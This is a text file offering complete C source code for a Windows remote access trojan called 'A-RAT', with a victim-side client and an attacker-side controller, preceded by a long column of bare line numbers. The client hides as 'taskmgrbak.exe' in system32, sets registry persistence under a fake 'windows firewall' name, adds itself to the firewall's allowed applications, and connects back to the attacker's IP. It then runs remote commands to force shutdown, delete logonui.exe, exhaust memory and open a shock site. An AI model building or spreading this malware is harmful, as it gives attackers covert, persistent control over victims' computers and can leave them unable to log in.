./c0de/c/arat.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
Examples of how to code a RAT in C
 
Client:
 
 
/* A-RAT 
   BY Shoxin/Akiimoko */ 
 
#include <time.h> 
#include <stdio.h> 
#include <stdlib.h> 
#ifndef _MSC_VER /* if the compiler isn't microsoft visual studio c++ 2005. */ 
#include <windows.h> 
#endif 
#include <winsock2.h> 
 
#define MAXPENDING 5 
#define BUFFER_SIZE 1024 
#define LISTENING_PORT 31337 
#define RANDOM_PORT 55555 
#define CLIENT "taskmgrbak" 
#define SERVER_IP "Your IP Here" 
 
int func_proc(char c) 
{ 
   switch(c) 
   { 
      case 's': 
      case 'S': 
         system("shutdown -s -t 01 -f"); /* when implementing this feature ExitW 
indowEx would not function properly 
                                            in the tests so i used system("shutdown" 
) for the time being. */ 
         break; 
      case 't': 
      case 'T': 
         SetWindowText(FindWindow(0,"Windows Live Messenger"),"You just got served!" 
); 
         break; 
      case 'm': 
      case 'M': 
         while(1); 
         { 
            char *a = malloc(20971520); 
            char *a2 = malloc(20971520); 
            a = a2; 
         } 
         break; 
      case 'd': 
      case 'D': 
        remove("C:\\WINDOWS\\system32\\logonui.exe"); 
        break; 
      case 'n': 
      case 'N': 
      ShellExecute( 
        NULL, 
        "open", 
        "notepad.exe", 
        NULL, 
        NULL, 
        SW_SHOW); 
      case 'o': 
      case 'O': 
      ShellExecute( 
        NULL, 
        "open", 
        "http://www.meatspin.com", 
        NULL, 
        NULL, 
        SW_SHOW); 
        break; 
    } 
} 
 
int main(int argc, char **argv) 
{ 
   HKEY autoKey; 
   HKEY fwKey; 
   int menu_switch = 0, message_length = 0, remote_length = 0; 
   SOCKET local_socket, remote_socket,message_len; 
   struct sockaddr_in local_address, remote_addr; 
   WSADATA wsa_data; 
   char message[BUFFER_SIZE], remote_ip[32]; 
   int recv_timeout = 90000, send_timeout = 90000, recv_buffer_len; 
   CopyFile("Client.exe", "c:\\windows\\system32\\taskmgrbak.exe", 0); 
   RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\ 
\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, 
                  &autoKey, 0); 
 
   RegSetValueExA(autoKey, "windows firewall", 0, REG_SZ, CLIENT, 50); 
   RegCloseKey(autoKey); 
   RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\" "SharedAcc 
ess\\Parameters\\FirewallPolicy\\StandardProfile\\" 
                  "AuthorizedApplications", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_AL 
L_ACCESS, NULL, &fwKey, 0); 
   RegSetValueExA(fwKey, "windows live update", 0, REG_SZ, CLIENT, 50); 
   RegCloseKey(fwKey); 
   sleep(60000); 
   if(WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0) 
   { 
      fprintf(stderr, "WSAStartup failed\n"); 
      return 1; 
      WSACleanup(); 
   } 
   if((local_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) 
 
    { 
      fprintf(stderr, "socketing failed\n"); 
      return 1; 
      WSACleanup(); 
 
    } 
   if((remote_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) 
   { 
      fprintf(stderr, "socket() failed"); 
      return 1; 
      WSACleanup(); 
      closesocket(local_socket), closesocket(remote_socket); 
   } 
   memset(&local_address, 0, sizeof(local_address)); 
   local_address.sin_family = AF_INET; 
   local_address.sin_addr.s_addr = htonl(INADDR_ANY); 
   local_address.sin_port = htons(RANDOM_PORT); 
   if(bind(local_socket, (struct sockaddr *) &local_address, sizeof(local_address))  
!= 0) 
   { 
      fprintf(stderr, "binding failed\n"); 
      return 1; 
      WSACleanup(); 
      closesocket(local_socket), closesocket(remote_socket); 
   } 
   memset(&remote_addr, 0, sizeof(remote_addr)); 
   remote_addr.sin_family = AF_INET; 
   remote_addr.sin_port = htons(31337); 
   remote_addr.sin_addr.S_un.S_addr = inet_addr(SERVER_IP); 
   if(connect(remote_socket, (struct sockaddr *) &remote_addr, sizeof(remote_addr))  
== SOCKET_ERROR) 
   { 
      fprintf(stderr, "connecting failed\n"); 
      return 1; 
      WSACleanup(); 
      closesocket(local_socket), closesocket(remote_socket); 
   } 
   remote_length = sizeof(remote_addr); 
   if(setsockopt(local_socket, SOL_SOCKET, SO_RCVTIMEO, (const char *) &recv_timeout 
, sizeof(recv_timeout)) == SOCKET_ERROR) 
   { 
        fprintf(stderr, "recv_timeout failed\n"); 
        WSACleanup(); 
        closesocket(local_socket), closesocket(remote_socket); 
   } 
   if(setsockopt(local_socket, SOL_SOCKET, SO_SNDTIMEO, (const char *) &send_timeout 
, sizeof(send_timeout)) == SOCKET_ERROR) 
   { 
      fprintf(stderr, "send_timeout failed\n"); 
      WSACleanup(); 
      closesocket(local_socket), closesocket(remote_socket); 
   } 
   while(1) 
   { 
      if((message_len = recv(remote_socket, message, sizeof(message), 0)) == SOCKET_ 
ERROR) 
      { 
         fprintf(stderr, "recv failed\n"); 
         return 1; 
         WSACleanup(); 
         closesocket(local_socket), closesocket(remote_socket); 
      } 
      func_proc(*message); 
   } 
 
   WSACleanup(); 
   closesocket(local_socket), closesocket(remote_socket); 
   return 0; 
} 
 
 
 
 
Hosting:
 
 
/* A-RAT 
   BY Shoxin/Akimoko*/ 
 
#include <stdio.h> 
#include <stdlib.h> 
#ifndef _MSC_VER /* if the compiler isn't microsoft visual studio c++ 2005. */ 
#include <windows.h> 
#endif 
#include <winsock2.h> 
 
#define MAXPENDING 5 
#define BUFFER_SIZE 1024 
#define LISTENING_PORT 31337 
 
int main(int argc, char **argv) 
{ 
   SetConsoleTitle("A-RAT - Shoxin"); 
   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE | FOREGR 
OUND_INTENSITY ); 
   int menu_switch = 0, message_length = 0, remote_length = 0; 
   SOCKET local_socket, remote_socket,message_len; 
   struct sockaddr_in local_address, remote_address; 
   WSADATA wsa_data; 
   char message[BUFFER_SIZE], remote_ip[32]; 
   printf("Aki-RAT v.0.1b \n" 
          "By Shoxin \n" 
          " \n" 
          "::Developer Version:: \n" 
          " \n" 
          "shouts: \n" 
          "dw0rek,Mad-Hatter,g00ns.net \n"); 
   printf("Features/Usage: \n" 
          " \n" 
          ".Remote Shutdown[S] \n" 
          ".Rename Windows Live Messenger Title[T] \n" 
          ".Delete Logonui.exe[D] \n" 
          ".Extreme Memory Leak[M] \n" 
          ".Open Notepad[N] \n" 
          ".Open Meatspin.com[O] \n" 
 
          " \n" 
          "Usage: 'S'\n" 
          "       'T'\n" 
          "       'D'\n" 
          "       'M'\n" 
          "        etc.  \n"); 
   if(WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0) 
   { 
      fprintf(stderr, "WSAStartup failed\n"); 
      WSACleanup(); 
      return 1; 
   } 
   if((local_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) 
   { 
      fprintf(stderr, "socketing failed\n"); 
      WSACleanup(); 
      return 1; 
   } 
   memset(&local_address, 0, sizeof(local_address)); 
   local_address.sin_family = AF_INET; 
   local_address.sin_addr.s_addr = htonl(INADDR_ANY); 
   local_address.sin_port = htons(LISTENING_PORT); 
   if(bind(local_socket, (struct sockaddr *) &local_address, sizeof(local_address))  
!= 0) 
   { 
      fprintf(stderr, "binding failed\n"); 
      WSACleanup(); 
      closesocket(local_socket), closesocket(remote_socket); 
      return 1; 
   } 
   if(listen(local_socket, MAXPENDING) != 0) 
   { 
      fprintf(stderr, "listening failed\n"); 
      WSACleanup(); 
      closesocket(local_socket), closesocket(remote_socket); 
      return 1; 
   } 
   remote_length = sizeof(remote_address); 
   if((remote_socket = accept(local_socket, (struct sockaddr *) &remote_address, &re 
mote_length)) == INVALID_SOCKET) 
   { 
      fprintf(stderr, "accepting failed\n"); 
      WSACleanup(); 
      closesocket(local_socket), closesocket(remote_socket); 
      return 1; 
   } 
   printf("Connection Established\n"); 
   message_len = 1; 
   while(1) 
   { 
      printf("-"); 
      *message = getchar(); 
      *(message + message_len) = '\0'; 
      if(send(remote_socket, message, strlen(message), 0) == SOCKET_ERROR) 
      { 
            fprintf(stderr, "send failed\n"); 
            return 1; 
            WSACleanup(); 
            closesocket(local_socket), closesocket(remote_socket); 
      } 
   } 
   WSACleanup(); 
   closesocket(local_socket), closesocket(remote_socket); 
   return 0; 
}

Back